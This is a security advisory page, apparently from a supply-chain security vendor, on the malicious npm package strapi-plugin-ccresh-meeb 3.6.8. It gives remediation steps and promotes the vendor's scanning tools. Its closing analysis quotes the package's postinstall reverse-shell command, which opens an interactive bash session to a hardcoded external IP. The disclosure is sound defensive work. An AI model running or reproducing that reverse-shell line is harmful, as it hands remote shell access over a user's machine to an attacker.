Which versions of strapi-plugin-ccresh-meeb are malicious?

The following npm versions of strapi-plugin-ccresh-meeb are flagged malicious: 3.6.8. Treat any of these as compromised.

How do I remediate strapi-plugin-ccresh-meeb if I installed it?

strapi-plugin-ccresh-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed strapi-plugin-ccresh-meeb — how do I know if it already compromised me?

If strapi-plugin-ccresh-meeb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is strapi-plugin-ccresh-meeb part of a known attack campaign?

Yes — strapi-plugin-ccresh-meeb is associated with the IN-MAL-2026-020045 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find strapi-plugin-ccresh-meeb across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-ccresh-meeb (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-ccresh-meeb across your stack and pipelines.

Immediate action

npm uninstall strapi-plugin-ccresh-meeb

What this malware does

The package's postinstall lifecycle script (scripts.postinstall: node postinstall.js) unconditionally invokes /bin/bash with an interactive reverse-shell payload at install time: bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'. This connects stdin/stdout/stderr of an interactive bash session to a hardcoded remote host over TCP/443, handing full shell access on the installer's machine to whoever controls that endpoint. A marker file is also written under /tmp confirming execution. The manifest self-labels the package as a Reverse shell payload for Strapi. Any npm install of this package results in remote code execution and interactive shell access as the installing user.
